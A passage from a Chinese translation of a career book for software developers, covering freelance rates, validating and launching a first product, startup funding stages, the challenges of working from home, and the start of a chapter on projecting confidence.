些费用。你可能还需要聘请会计师或者记账员，也许还要支付法律方面的费用，以及经营小微企业所涉及的其他费用。把这一切统统都算到一起，你需要赚更多的钱来支付这些开销。\n最后，让我们来谈谈工作任务编排吧。你做雇员的时候，通常每周工作40小时——在美国是这样的。你其实并不担心如何填满你的时间，因为无论是否有具体的工作任务，只要你在办公桌前坐着，你就会领到一份薪水。但是自由职业者不是这样的。作为自由职业者，你可能每年（甚至每周）都会有停工期。此外，你不能因为查看和回复电子邮件、给你的计算机安装操作系统或者别的日常工作向客户收取费用，因为这些都不是直接收费工作。\n把上面所说的所有这些都加到一起，你会发现，作为自由职业者，你大概需要收取每小时75～100美元的费用才能在净收入方面等同于你做员工时每小时50美元的薪水。许多自由职业者对此不明就里，还是按照做员工时的计算方式收费，或者稍稍高一点，然后就发现自己现在的收入只能勉强糊口。直到按照我列出的方法重新算一遍，他们才茅塞顿开。\n通用的规则是，成为了自由职业者之后，你的时薪水平应该是作为全职雇员时的两倍（见表12-1）。然而，遗憾的是，很多人并没有这样收费。\n表12-1 全职雇员与自由职业者对比\n全职雇员的薪酬\n自由职业者的薪酬\n每小时50美元 －无\n每小时100美元 － 自主就业税 － 办公设备 － 会计或者记账员 － 非计费时间\n实际收入=每小时50美元\n实际收入=每小时50美元\n你看，你不能根据你认为你需要赚的钱数想当然地丢出一个薪酬标准，然后等人自动买单。相反，你的收费标准是由市场决定的。这也是我反复强调吸引式营销的一大原因。你在业界的名气越大，你的客户就越多，你能收取的服务费也就越高。\n你还需要知道你要按什么价码收费才能谋生，你需要根据市场来判断定价——或者更高一点。这么做的重点不在收费标准本身，而是你的工作对你的客户而言是否物有所值。你可以把自己的工作看作是商品，也可以把它看作是能够增加客户盈利能力的服务。如果你决定把自己的工作看作是商品，为了工作你就不得不跟其他开发人员竞价了，这些人中很多人的出价是很低的。在这种情况下，市场将推动买方接受出价最低的自由职业者。\n但是，如果你的营销策略是基于自己的服务可以为客户节省大笔开支或者提高他们的业务，你就可以根据自己的服务为客户带来的价值来定价。这就是“专业性”如此重要的原因。\n我来给你举一个例子。我提供的咨询服务中有一项是关于创建自动化测试框架的。当我和潜在客户就这项服务议价的时候，我会列出构建自动化测试框架需要多少钱，也会说明如果软件出错的话修复的成本有多高昂。然后，我会讲自己在构建自动化测试框架方面的丰富经验，并且我确切知道要做什么。\n我还会向潜在客户展示，如果以每小时300美元的价格雇用我其实要比雇用一个以前没有写过自动化测试框架的普通开发人员便宜得多。我会告诉他们，我1小时的指导可以节省他们20小时的也许是南辕北辙的工作。\n我没有撒谎。投标之所以如此高效，是因为我真的相信这是真的。关键点在于，我强调自己的服务完全值这个价钱，并且我的服务物超所值。因此让潜在客户们做出雇用我而非其他只会从技术角度谈论他或她能做什么的廉价竞争者这样的决定，也就非常容易了。\n以下两种表述方式你认为哪一种更好？\n“我可以为你的业务设计出全新的网站。我非常擅长HTML5、CSS以及网页设计，并成功地为许多与贵公司类似的公司创建了网站。”\n“你当前的网站能够给你带来足够的点击量，并且将这些点击量有效地转换成为客户吗？贵公司可能和大多数小企业一样，答案是‘不能’。不过不用担心，我可以帮你创建一个顶级的定制化网站，专门来提高你的流量和转化率。我已经帮许多其他的小企业提高了两倍甚至三倍的客户，我也可以帮你做到。”\n关于如何收费的最后一条建议是，如果没有任何潜在客户跟你讲“不行”或者“你的收费太贵了”，马上提高费率！不断给你的收费加码，直到你听到“不行”为止。客户愿意为你的服务付的价格可能会让你大吃一惊。我知道有些自由职业者通过使用这种方法，配合使用吸引式营销和根据自己能为客户带来的价值来调整价格，让自己的收费提升了不止一倍。\n采取行动\n整理一份名单，列出谁有可能会使用你的服务，或者谁知道谁会使用你的服务。\n制作一个电子邮件模板，使用该模板给上面那份名单里的每一个人发邮件（记得一定要谈论你会给他们带来怎样的价值，而不仅仅只是从技术的角度告诉他们你能做什么）。\n在社交媒体上发布消息，给名单上的一小部分人发送邮件，看看会有什么反馈。一旦得到反馈，更新你的邮件模板，发送给更多人。\n第13章 创建你的第一个产品\n作为一名软件开发人员，你拥有成为一名企业家得天独厚的优势，不仅能提出概念或新想法，还能自己把它创造出来。正是出于这个原因，许多开发人员选择创业、选择自己创造产品，而别的企业家不得不雇用他人来实现自己的想法。正如你所知，开发定制软件可是价格不菲。\n作为软件开发人员，你不仅能够开发软件产品，还可以开发书籍和视频这样的信息产品。\n在本章中，我会帮助你了解，创建自己的第一个产品，并开始漫长而又崎岖的创业之路你需要知道的。不过我要警告你，你即将踏上的这条道路坎坷不断。\n找到受众\n许多软件开发人员一开始就深陷创业者最常犯的错误之中——在为产品找到客户之前就构建好产品。从构建产品开始可能有些道理，不过你要避免落入这个陷阱之中，否则你只是冒险为一个不存在的问题创造了一个解决方案。\n人类创造出的每个产品（包括这本书在内）都是为了解决某个特定的问题。没有要解决的问题的产品毫无意义，毫无意义的产品自然也就不会有用户，也就意味着你不会赚到钱。有些产品专门解决一些特殊群体遇到的特定问题。例如，一款能够帮助牙医管理自己的病人的软件产品，或者一本能帮助软件开发人员学会如何使用.NET Unity框架的书。还有一些产品解决普遍的问题，例如，无聊——娱乐产品（如电视节目和视频游戏）可归入此类。无论一个产品要解决何种问题，以及哪些人群有这个问题，必须在创建产品之前就要明确识别。\n如果你想开发出一款产品，第一步应该是筛选出一组特定的受众，他们也是你的解决方案的目标用户。针对这些人你要解决的问题是什么，你可能已经有了总体概念。不过在很多情况下，你要多做一些调研，找出要么没被解决的问题，要么没有被很好解决的问题。\n去目标客户常去的地方，与用户参与的社区交流，了解一下普遍存在哪些问题。你能从中看到的痛点有哪些。\n我开始注意到这样一个趋势——软件开发人员向我咨询如何打造业界声誉，如何提高自己的曝光率，或者如何增加关注度。许多访问我博客的软件开发人员也会问我相关的问题。我看到这里有一个实际问题——软件开发人员有学习自我营销的需要。（在这个案例中，我的受众是直接通过我的博客告诉我他们的问题的，所以事情就变得简单了。这是要拥有博客的另一个原因。）\n我决定创建新产品来解决这一问题。我创建了一个名为“软件开发人员如何自我营销”的课程（http://devcareeboost.com/m）。由于这个产品解决了我的目标客户一个非常具体的问题，所以在我投入时间进行创建之前我就知道它一定会成功。（我还有另外一种可以提前验证产品是否成功的方法，稍后会谈到。）\n产品需要客户\n而许多开发人员是反着来的。他们在尚未有受众的时候就创建产品，然后再四处推销，努力寻找受众。当你以这样的方式做事情时，你要冒很大的风险，因为执果索因往往更加困难。\n在我创建“软件开发人员如何自我营销”这个课程时，我的受众已经事先找到我，并告诉我他们的问题。要想让产品轻松卖出去，这是一个非常好的启动方法；构建产品再找受众，则与之相反。我们会在第二篇讨论如何自我营销。如果你利用其中提及的方法让自己成名，被粉丝围绕，并产出被追捧的内容，你会发现你已经拥有了愿意购买你创建的任何产品的客户。\n许多名流使用这种方法创建和销售产品。他们已经拥有了一大群受众，并且对受众的需求和问题了然于胸。当他们面向受众发布新产品的时候，自然就会成功。以格林•贝克[1]为例。抛开政治观点不论，正是由于受众庞大，这家伙才能成为《纽约时报》最畅销书作家。他没有必要去寻找受众，因为他创造了受众。他做出来的每一样东西自然而然地就有人等着去买。\n如果你想让自己的产品也同样成功（虽然也许在规模上达不到），首先打造一个成功的博客，使用播客、演讲、视频和其他媒体来发展自己的受众。接下来，一旦你有了受众，你就能够向这些受众销售自己的产品。你之所以购买这本书可能就是因为你已经是我博客的粉丝，或者因为关注我的其他工作而无意中发现这本书，或者你之前听过我的播客。这就是发展自己的受众的威力。\n测试市场\n一旦你明确了产品的受众，并明确了如何用它解决用户的问题，在开发产品之前你还有一步工作需要完成。你应该通过测试市场来验证你的产品，看看你的潜在客户是否真的愿意为它买单。\n记得在上一节我讲过，在创建“软件开发人员如何自我营销”这个产品之前，我还采用了另一种方法验证自己的成功。这是一个小秘密：甚至在我正式开始这项工作之前，已经有人为其付费了。\n你可能会问我是怎么做到的。简单说就是：我要求他们这么做的。在我计划创建这个产品的时候，我决定在投入数月时间做这件事情之前就广而告之——我将要创建一个什么样的产品，并且为产品还没创建之前就付费的用户提供大幅折扣。这看似有点儿疯狂（在某种程度上说还真是这样），不过要想在投入全部时间开发产品之前，证明是否会有人真的愿意为它付费，这是个好办法。我还知道，如果我能让软件开发人员（我的目标客户）提前3个月（或更早）付费，那等产品正式上线时，销路就不成问题。\n所以你可以这么做：创建一个简单的销售网页，讲述你将要创建的产品以及它将解决什么问题，讲述你的产品会包含哪些内容以及产品上市的确切时间，给个折扣价让感兴趣的人可以提前预订产品，保证产品一发布他们就能拿到。你还要提供退款保证，让潜在客户知道如果你的产品不能如期交付或者不能令他们满意，他们可以得到退款。\n但是如果预订数量有限怎么办？碰到这种情况，你可以决定是否要修改产品或者作品，因为你不是在解决正确的问题，或者你可以直接退款给那几位预订者，向他们道歉，告诉他们感兴趣的人不多。这不是一件有趣的事儿，但总比花了3个月或更长的时间做好产品之后才发现没有人愿意买要强得多。\n在我把预售网页上线的第一天，我的生意就开张了，卖出了7份程序副本。这给了我足够的信心，我知道自己可以继续前行，也知道自己并不是在浪费时间。我也有一群非常有兴趣的客户，我经常向他们征求反馈意见以帮助自己提升正在开发的产品。\n从小处着手\n我反复强调不要贸然辞职，踏上创业之路，但是我要再啰嗦一次：从小处着手。太多崭露头角的创业者为自己的第一个产品设置了非常激进的目标，不顾一切地追求新的梦想。\n你必须明白并意识到，自己的首次创业可能会失败，很可能第二次、第三次也是如此。直到经过足够多的失败，你才可能真正成功。如果你倾尽所有投入创业，如果你为一次创业成功赌上自己的整个未来，你可能会把自己置于绝境——没有资源，甚至没有意志再去尝试一次。所以别这么做。从小处着手，作为副业开发你的第一个产品。\n如果你想尽可能缩短自己的学习曲线，你就需要尽量缩短开始行动到看到成果之间的周期。大型产品的问题就在于，如果你没有走得很远，没有在开发产品上投入相当的精力，你就不可能看到实际的成果。\n开始\n也许本章的所有内容听上去都不错，但是你还是不知道如何开始。别担心，我在开发自己的第一个产品的时候，我也有相同困境。当时的我对自己应该如何创建我能创建的产品，以及如何销售我的产品毫无头绪。\n我不说谎，我告诉你这其实很简单。你有相当多的东西要去学习，但是非常容易上手。如今，在线销售比以往更容易，并且还有大把的资源帮得上你。\n我是通过阅读该主题的几本书开始的。你可以看看Ramit Sethi的博客（http://www.iwillteachyoutoberich.com/），他是这方面的专家，帮助过许多怀揣着“成功企业家”梦想的创业者走向成功。\n我还建议你去读读Eric Ries的《精益创业》（The Lean Startup）［Crown Business，2011］，从中获取一些关于如何创建小企业，以及如何起步的想法。\n不过大量的创业技能最终还要通过尝试和失败获得。某种程度上，你必须去做自己认为正确的，找出为什么它不管用，然后再去尝试不同的东西。大多数创造出成功产品的创业者也是这样做的。\n采取行动\n整理出一批能够为自己将要创建的产品进行调研的目标受众。\n从这些受众中挑选出一位用户，看看他参加了哪些集会（无论是线上的还是线下的）。加入他们的社区，倾听他们的问题。看看你能不能从中挑选出一两个潜在领域去开发产品，解决他们的痛点。\n排查是否有人已经解决了这个问题，你并不想进入一个竞争已经白热化的市场。\n[1] 格林•贝克（Glenn Lee Beck）生于1964年10月，美国当红的电视台与电台主持人、政治评论家、水星广播艺术的创始人和首席执行官。他的广播节目在美国各地超过260个频道播放，以“格林•贝克”为名的电视节目也曾在CNN、福克斯等电视频道开播，他还有6本书在《纽约时报》上被评为“最畅销书籍”。不过，即使在美国，对贝克的评论也是毁誉参半：他的支持者称赞他坚定维护美国的传统价值观，而他的批评者则诟病他一贯的阴谋论观点和煽动性言论。以上内容摘自维基百科。——译者注\n第14章 你打算开始创业吗\n对许多软件开发人员而言，最引人入胜的梦想之一莫过于自己创业。创业拥有巨大的潜在回报，但也极其危险。我认识不少软件开发人员，在创业项目上投入很多年，除了失败之外一无所获，境遇比他们刚开始创业时还要糟糕。\n但是，如果你已经有了一个好点子，更为重要的是，有了让自己坚持到底的激情和干劲，你会发现冒着风险白手起家还是值得的。\n在本章中，我们将深入探索创业到底意味着什么，如何去创业，以及作为创始人（初创企业的创建者的专属称号）必定要面对的潜在风险和回报。\n创业的基础\n一家创业公司就是一家新成立的公司，试图找到成功的商业模式并将其规模化，最终成为具有赢利能力的中型或大型公司。如果你现在创立一家新公司，本质上就是一家创业型公司。\n现在，尽管从技术上讲，任何一家新成立的公司都被认为是一家创业公司，但是实际上还是存在两类不同的创业型公司。第一种创业公司在成立伊始就试图以获得外部投资者的投资来刺激公司快速成长。这种创业公司可能是我们最常听说的那类。许多成功的大型科技公司在开始创业的时候拿到投资人的资金，获得成长，并最终成功。与创业有关的术语和讨论实际上指的就是这类公司。\n另一类创业就是自力更生创业。自力更生创业完全由其创始人提供资金支持。如果你创立了自力更生型公司，你不需要从投资人那里募集资金，也不在乎公司能否立刻做大。这类公司通常规模比引入投资人的创业公司小，但是失败的可能性也更低，因为他们通常开销更小，同时由于没有放弃公司的多数股权，创始人在业务上也更有控制权。\n鉴于本书已经有相当篇幅讨论了如何开创自己的自力更生型企业，所以这里我们主要谈的是试图获取外部投资来得到成长的创业公司。从现在开始，我说到“创业”的时候，指的都是旨在吸引外部投资的创业公司。\n不做大，毋宁回家\n大多数创业者的目标就是把公司做大，吸引外部投资的全部原因也就是希冀公司规模能够快速扩张。多数创业公司的创始人都有所谓的退出策略。典型的退出策略就是说，当公司成长到一定规模的时候希望公司被人收购，这样，创始人和投资者都可以获得丰厚的回报，公司未来发展所要面临的风险可以在很大程度上得到规避。\n在公司初创的时候就要缜密思考公司的未来，这是极其重要的。你可能想要创建一个能够长期持有的公司，但是你必须要认识到，愿意向你的公司注资的投资人都希望能够最终套现获利，得到属于他们的投资回报。\n还有，被收购并非获得高额回报的唯一途径。另一个常见的退出策略是上市。当公司上市时，向公众出售公司的股权。出售股票也可以让创始人和投资者获得巨额回报。\n无论你的整体退出策略是什么，了解这一点非常重要——获得外部投资的创业公司通常都抱有希望未来有一天可以获得巨额回报的目的。所以，如果你为人保守，你并不适合创立这类公司。创业型公司通常就是为了等待“全垒打[1]**”的机会。\n你可以想象，抱有这种心态可能会有巨大的回报潜力，但随之而来的也会有巨大的风险。大多数创业公司都失败了。有一些估计表明，在获得了外部投资的创业公司中，有高达75%的公司以失败告终（http://simpleprogrammer.com/ss-startupsfail）。不知你怎么看，我觉得非常可怕。在创业之前，你需要谨慎思考。有可能在投入多年的辛苦生活和艰辛劳作之后，最后无奈关门，除了那些血淋淋的经验教训，你两手空空。\n创业的典型周期\n创业已经成为亚文化现象，关于如何创业的书也是汗牛充栋，我在这短短的一章中只能是蜻蜓点水。不过在本节中，我会尽力循序渐进地为你呈现关于典型的创业过程的最佳概述。\n通常，当你着手创建一家创业公司的时候，你对自己要创建怎样的公司已经有了想法。通常，这家公司要有些独一无二的知识产权，使得它的那些规模更大的竞争对手难以进入并简单地复制你正在做的。很好的创业候选是能够申请专利或受保护的新技术和新方法，而糟糕的创业候选则包括餐厅或其他缺乏独创、很容易被复制的服务。好的创业项目要有规模扩张的潜力——想想Twitter、Dropbox和Facebook等。\n一旦你有了一个想法，你必须要决定是做一个单独的创始人还是希望作为联合创始人。尽管二者各有优缺点，但总的来说，大多数创业企业都至少两个联合创始人。如果你想加入创业加速器或者孵化器（接下来我们会讨论），你可能需要至少一位联合创始人。\n创业加速器\n要想在创业启动时获得额外的帮助，申请加入创业加速器计划是个好方法。加速器是帮助创业型企业启动项目的计划，通过向创业公司注入小额资金来换取公司的一些股份。你可以在http://www.f6s.com/accelerators上找到加速器的大清单。最受欢迎的创业加速器计划是Y Combinator（http://www.ycombinator.com）。Y Combinator帮助过许多著名的创业型企业，如Dropbox。\n通常，申请加入创业孵化器计划要经历一个漫长的过程，但它非常值得一试。加速器项目是一个强度非常高的项目，通常只持续几个月，旨在帮助创业型企业度过启动阶段的难关。大多数加速器由成功的企业家创设的，他们已经创办了一到两个自己的创业公司，可以为刚起步的创业者提供良好的建议和指导。加速器通常也帮助创业公司准备为投资者做路演以获得资金，他们还经常为自己旗下的创业公司安排演示日。在演示日，创业者有机会向潜在的投资者演示自己的项目。\n就我个人而言，如果没有被加速器项目接受，我至今也不可能开始创业。竞争太激烈了，而且与完全依靠自己单打独斗相比，加入孵化器计划的优势非常巨大。我曾经是一家创业公司的联合创始人，公司也加入了几个加速器计划，但经过一番深思熟虑，我决定退出公司，因为我发现我还没到创业的时候，还不想经受残酷的创业生活的洗礼。\n获得投资\n无论你是否加入创业加速器计划，对创业公司而言，第一个重要里程碑就是获得第一笔资金，可以说这是创业生死攸关的大事。第一笔资金通常被称为种子资金，一般天使投资人会投给早期创业者。天使投资人通常是个人投资者，他们在公司的早期阶段注资。这种投资风险很高，但是也可以带来高额回报。现在，天使投资人不会不图回报地给你的公司投资，他们通常会要求拥有公司的部分股权。\n地雷：我该如何处理股权\n涉及放弃新公司的股权时，请你务必要小心。股权是你创业的命脉。没有股权，你的辛勤工作就无法获得回报，你也无法回报投资者。对于要对让出多少股权、让给谁这样的问题，你要非常谨慎。\n许多创业公司的创始人发现，把股权出让后给不思进取的合伙人后，自己就面临一个大烂摊子，后者不仅对公司毫无贡献，还榨取公司的宝贵资产。\n所以在做与股权相关的决策时，请务必谨慎。你要明白，当你出让公司股权的时候，自己放弃了什么。出让股权不可避免，你多少总会出让一些，但是你必须确保在出让之前已经深思熟虑。\n一旦创业公司获得了种子基金，便是启动之时。实际上，你应该在此之前就已经启动了。不过一旦获得了种子基金，你就可以雇用一些员工，开始扩张。可以预见的是，大多数创业企业在这个阶段并不能实现盈利。事实上，当你烧光了最初的种子资金，建立你的商业模式并证明这种商业模式时，你可能会深陷泥潭。\n一旦你烧光了种子基金，如果你的项目仍然可行，那将会引来一次重大投资。种子轮[2]**之后的第一轮融资通常被称为A轮融资，风险资本通常会在这一轮介入。如果你听说过“见风投”，它通常是指把自己的公司推销给风险投资人（VC，以下简称“风投”），希望从他们那里得到一大笔投资，使公司得到成长。风投通常会向创业公司注入大笔资金以换取公司的大量股份。不必惊讶，A轮融资过后，风投持有的公司股份可能比你还多，特别是当你公司的联合创始人不止一位的时候。\nA轮融资完成后，大多数创业公司还需要经过几轮融资，因为它们的初始资金几近耗尽，艰难地实现盈利和扩张。基本上你就是在不断重复这个过程以获得更多投资，直到再也得不到更多的投资，最后成功实现盈利，或者被收购。\n获得资金的几个阶段\n当然，这只是一个简化了的过程，不过还是希望本章能让你对创建创业型公司有一个良好的认识。\n采取行动\n研究一下一两家你心仪的创业公司的历史。注意它们是如何开始以及如何获得融资的。\n这些公司创立时是一个创始人还是多个创始人？\n这些公司的创始人还成功创立过其他公司吗？\n这些公司什么时候获得融资的？它们获得了多少资金？\n这些公司启动的时候是否加入了加速器计划？\n[1] 全垒打：棒球运动中，全垒打是一种打者可环绕所有垒包一周的安打。除了打者跑到终点本垒时可以得到一分之外，所有已经在垒包上的跑者每人皆可得到一分。棒球进攻队伍的球员必须依序经过四个垒包才能得分，在其他情况下，打者上垒成为跑者之后，必须藉由其他队友的帮助推进才能得分。但是若击出全垒打，计分板上分数立刻就增加了，因此全垒打一向是棒球运动中最为人津津乐道的一环，当然也比较罕见。以上摘自《维基百科》。——译者注\n[2] 种子轮也被称为天使轮。——译者注\n第15章 远程工作的生存策略\n今天，越来越多的软件开发团队允许它们的开发人员在自己家里远程办公。有些团队甚至完全是虚拟团队，连真正的办公室都没有。如果你决定成为一名独立咨询师或者创业者，可能你会发现自己也是独自在家办公的状态。\n虽然远程工作看起来可能像是一个梦想成真的故事，但是穿着睡衣工作的现实或许并不像想象中那么令人向往。在家办公的人必须要面对许多困难和挑战。在本章中，你会对在家办公是什么样子，以及如何处理在家办公要面对的问题，如孤立无援、形单影只和自我激励等，有一个更为清晰的了解。\n做“隐士”面临的挑战\n得到第一份在家办公的工作时，我激动异常。我想象不出有比这更好的事情——一大早从床上爬起来，穿过客厅，坐在舒适的椅子上工作。尽管我仍然认为在家办公很棒，但是很快我就发现在家办公有许多自己没有想到的挑战。\n挑战1：时间管理\n首先，我们面临的最明显的挑战就是时间管理。在家办公的时候，你会面临各种各样在办公室里不会遇到的干扰：如果你打开自己的Facebook页面，在上面耗一整天，也不会有人注意到；快递员上门送来包裹，你会想“嗯，也许我应该吃点东西”；你的孩子或配偶找你问一个问题，或者从你这里窃取“就一分钟”。在意识到这些之前，你的一整天就这样过去，毫无产出。\n许多刚刚开始在家办公的人都觉得他们可以在零散的时间工作并且在他们可以工作的时候把事情做完，从而解决这一问题。他们觉得自己可以在白天享受美好生活，把工作放在晚上完成。这种想法无疑就是灾难，因为每当夜幕降临时，总有新的东西令你分心，或者你已经精疲力竭，不想再坐到电脑前了。\n真正解决这个问题需要缜密的时间管理。你可以在你想工作的任何时间再去工作，但是你必须要设定每周的日程表并且坚持下去。日程表越有规律、越是规划得当越好。我的妻子和朋友们经常跟我开玩笑，问我都已经在家为自己工作了，为什么还要坚持“朝九晚五”的典型工作模式，不过这份日程表确实能够保证我专注、严肃地对待自己的工作。我们不能过分相信自己可以不受外界干扰或者能够智慧地管理时间。我们需要提前做好计划，否则会屡屡经受不住诱惑。相信我，我了解这一点，我自己就经受过一长串的失败。\n挑战2：自我激励\n这里我只想说说自我激励的方式。如果你总是无法做到自律和自控，你也许应该重新考虑是否要在家办公。在做好时间管理之后，自我激励也许就是在家办公的人面对的最大“杀手”。这个与时间管理密切相关，但是即使你能有效地管理自己的时间，迟早也会有不想做任何工作的倦怠感。\n当你在办公室工作的时候，一旦陷入这种情绪，一想到被“炒鱿鱼”的威胁，你马上就不治自愈。如果被老板发现你在工作时间趴在桌子上睡觉或者在手机上玩游戏，你可能立刻就得抱着纸箱走人。但你在家里工作的时候可没有一双窥探的眼睛时刻监督着你。你肩负着自我激励和自律的责任，当你的所有激励都不管用的时候，“自律”会让你继续工作。（要更好地了解激励，可以查看Daniel Pink的《驱动力》（Drive）［Riverhead Hardcover，2009］一书。）\n就像我之前说的那样，如果你缺乏自律，我真的认为你将注定失败。我可以教你所有自我激励的技巧，但是打开电视、玩游戏、浏览一整天Facebook的诱惑实在太大。此外，如果你有一些自律精神，那么继续阅读。如果你愿意付出努力，还有可能处理好自我激励的问题的。\n当你感到倦怠时，日程表和常规是非常重要的倚靠。前面已经讲过，我就不再赘述，不过一定要确保你已经建立了日程表和常规。当你不想工作的时候，有一个必须工作的固定时段可以帮你保持足够的激情去完成工作。常规也是一样的。如果可以，你培养一些常规。当激情不再的时候，习惯可以帮到你。有许多次我感觉太累了，晚上都不想去刷牙，可是习惯迫使我一定要刷了牙再睡觉。\n你还要尽可能排除干扰和诱惑，让它们远离你的工作环境。如果电视机就摆在你身旁，当你觉得无聊的时候，“打开看看吧”的诱惑会格外强大。别想着靠意志力去战胜诱惑，这个教训适用于生活的许多方面。相反，排除诱惑，你会生活得更轻松自如。（更多内容我们会在第六篇中谈到。）\n当你感到实在没有动力的时候，有一种我常用的简单方法（事实上，我没有告诉任何人，但我现在一直在用）——坐下来，设定一个15分钟的计时器，开始工作。在这15分钟里，你必须工作。你不能让自己分心，必须专注于手头的任务。15分钟纯粹且专注的工作结束后，你可能会发现继续下去变得容易些了。事实证明，一旦我们专心致志地工作一段时间，我们就会沉浸其中，也有动力继续。我把这称为冲量效应[1]**。\n挑战3：孤独感\n刚开始在家办公的时候，我觉得就像是一种解脱。没人打扰你，你可以安静地坐在那里做自己的工作。这是真的。我刚开始在家办公的时候，我马上发现以前在办公室工作的时候那些无意义的对话浪费了自己多少时间。当我学会在家专注地工作之后，我发现我可以在更短的时间里完成很多工作。\n但是，过了一段时间之后，那份寂静与安宁令人焦躁不安。你可能会发现自己一直紧盯着窗外，寻找任何生命的迹象。“哦，看，一个人正在遛狗，也许我应该跑出去和她谈谈。”（别忘了先穿上裤子哦……我可不会说这是我的经验之谈。）好吧，也许我这么说是有点儿悲剧色彩，但是当你日复一日、周复一周孤独地坐在自己的办公桌前的时候，这一定会对你产生负面影响。\n大多数在家办公的软件开发人员并没有意识到，长期缺乏社交会使自己变得孤独。毕竟不管怎么说，作为一个群体，我们过的是一种隐居式的生活。请相信我，如果不能在一年左右的时间里找到社交生活，你一定会感到自己要疯掉了。\n想想吧，监狱里惩处罪犯的最严厉的手段——关禁闭。对任何人来说，单独隔离一两天真的是一项残酷的刑罚，因为人毕竟是社会型生物。\n那么怎样才能治愈这种孤独感呢？这里我有一个简单的答案：走出去！确保你每周都能走出家门，让自己有机会去认识除配偶和孩子以外的其他人。试着加入本地的软件开发者小组，每周或者每月参加他们的聚会。换个场景，到咖啡馆去工作。我每周去健身房三次，我当然还会推荐一些健身活动。我还发现，参加会议和其他社交活动让我有机会面对有兴趣的参加者侃侃而谈极客话题。这种倾诉的欲望通常都积累了好几个月呢。\n你还可以利用其他一些资源来帮助你不至于脱离社会太久。Skype电话和Google Hangouts能够让你与自己的同事轻松交谈，甚至见面。\n如果你能克服以上三项挑战，你就会成为一名成功的远程工作者，但是如果不能克服，你得再考虑一下自己是否适合在家办公。一些不能有效处理上述问题的远程工作者选择利用所谓的“联合办公空间”来找出解决方案。你可以把这些空间看作是小型办公室，里面坐的都是远程工作的人和创业者。这有点像在普通的办公环境下工作，只是你的同事并不是真的和你在一起工作。\n地雷：我想做远程工作者，但是我找不到远程工作的岗位\n很长时间里，我一直想找一份能让自己在家办公的工作，但就是找不到。它们不会那么轻而易举得到，通常要经过激烈的竞争。如果你正在寻找一份远程工作但是一无所获，我建议你做以下两件事。\n（1）你可以看看你当前的工作是否可以变成远程工作。也许值得一试。你可以问问，每周是否可以在家办公一到两天。你要找个好理由，比如你可以完成更多工作，也能更专注。如果你有此机会，一定要真正展现出在家办公的效率更高。\n（2）你可以开始关注允许远程工作的公司，或者完全分布式工作的团队，开始与这些公司建立联系。这需要花一些时间，但是如果你专注于那些你知道的允许远程工作的公司，就可以增加在这些企业获得工作的机会。认识在那里工作的开发人员，与招聘经理聊聊，表达出你对他们公司的兴趣，当有岗位空缺时，马上申请。\n采取行动\n对自己做一个客观的评估，针对上面描述的内容，想想你自己该怎样应对时间管理、自我激励和孤独感这三项挑战？\n如果你已经在家办公或者计划在家办公，制订一个你每周都会坚持的时间表。你要决定自己的工作时长以及哪天是工作日。\n[1] 此处原文为“momentum”，译为“冲量”是因为高中物理课本告诉我们，冲量等于作用力乘以时间。这里用“冲量”比喻专心工作一刻钟就会产生继续工作下去的动力。——译者注\n第16章 假装自己能成功[1]\n作为一名软件开发人员，你在自己的职业生涯中必定会遇到自己无法处理的情况。时不时冒出来的挑战和障碍经常令我们猝不及防。在这种情况下，如何应对将是决定你能否成功的主要因素。\n很多人在面对逆境的时候都会选择知难而退。但是另外一些人在面对同样的挑战时，会勇敢地站出来直面挑战。所有选择留下来与困难做斗争的人，是真的对自己成功和克服困难的能力信心十足吗？肯定不是，但他们中的许多人都有一个共同点——假装自己能成功。\n“假装自己能成功”的真实含义\n“假装自己能成功”是很常见的说法，但它又是一个被用滥了的说法。不同的人对其确切含义有不同的理解。因此，很有必要澄清一下我在本章中使用这一说法的真实含义。\n当我说“假装自己能成功”的时候，并不是暗示你去撒谎或者假装拥有自己尚不掌握的知识和技能。相反，我的意思是，在你做事之前，可以暗示自己“我已经成功完成任务”。当我在说“假装自己能成功”的时候，我是在说你要如心理暗示那样行事：\n你仿佛已经具备了成功完成任务的技能和天分；\n你仿佛已经成为自己想成为的那类人；\n仿佛战斗已经结束，而你大获全胜，因为你深知如果自己坚持不懈，胜利就在眼前；\n你仿佛已经对即将踏上的未知道路驾轻就熟。\n当你以这样的心态做事的时候——注意，关键词是“做”——你终究会实现你为自己展示的蓝图。看起来像是魔术或者怪力乱神，但是事实上，我们的精神非常强大。在本书第七篇中我们还会深入讨论如何使用精神力量来控制和塑造你的现实世界。这里，你只需要知道，如果你真的能像心理暗示的那样行事，那你也可以让自己的内心相信那一点。你的内心将会凝聚起巨大的力量，促使美梦成真。\n“假装自己能成功”就是这样起作用的。你说服自己的身体和内心去努力，使梦想成为现实。“假装自己能成功”是不自信的对立面。你要在做任何事情的时候都充满自信，即使是在自己的能力远远不到的时候，因为你有一种自己能够克服一切障碍的信念。\n付诸实践\n所谓“假装自己能成功”，就是要有意识地让自己身处逆境，迫使自己学会拼搏。正是这种在生活中“假装自己能成功”的心态，带领自己勇敢走向未知领域，坚信挑战与机会并存。如果你想学会“假装自己能成功”，你就必须拥有破釜沉舟的勇气。\n你是否曾面对这样的困境——感觉对自己要做的事情一无所知？你感觉非常不自在，可能有些窘迫，甚至觉得有些无能为力？这种情况下你该如何应对？你会为自己的失败和表现不佳找借口吗？\n面对这样的窘境和障碍，感到恐惧、尴尬，进而找借口，都是很自然的反应。但是，如果你能克服这些倾向，并看到真相，那你现在所面临的新情况和挑战都会变得“不过如此尔尔”，你也就学会了“假装自己能成功”。\n你还记得第一次写代码或者第一次学某种编程语言吗？那时候你觉得它很难，不是吗？或许到现在它还是有点儿难。但是，不管你现在身居何处，回顾过去，曾经的艰难与那些看起来的“不可能”，你现在也都从容应对。现在我们要做的，不过就是把那些将来看起来很简单的任务和工作提前一些，假设现在就是将来。\n对软件开发人员来说，“假装自己能成功”通常最适用的场合就是在面试的时候。通晓某一岗位所需的所有技术的专家几乎不存在。不同的技术太多，你很难全部掌握，因此当你去面试一个岗位时，这个岗位所需的某些技能是你尚未掌握的。\n这里的关键词是“尚未”。许多开发人员参加面试时表现得紧张、很胆怯，表明他们缺乏自信，因为他们一旦工作中遇到自己没掌握或没见过的技术，他们就会怀疑自己完成工作的能力。他们相当短视，因为他们只会以现在的视角看问题。当下转瞬即逝，还没仔细看上几眼就成了过眼烟云。我们更应该着眼于未来。\n的确，在眼下你正在面试的这个时间里，你可能并未掌握出色完成工作所需的全部技术。但是你并非打短工的，公司也不是要短期雇用你。其他开发人员面试工作的时候也会欠缺某些技能或经验，只是领域不同而已。正因为如此，你要散发出自信和能干的气场，知道自己曾经面对挑战迎难而上，并且更有理由相信自己将来也会那么做。\n不要将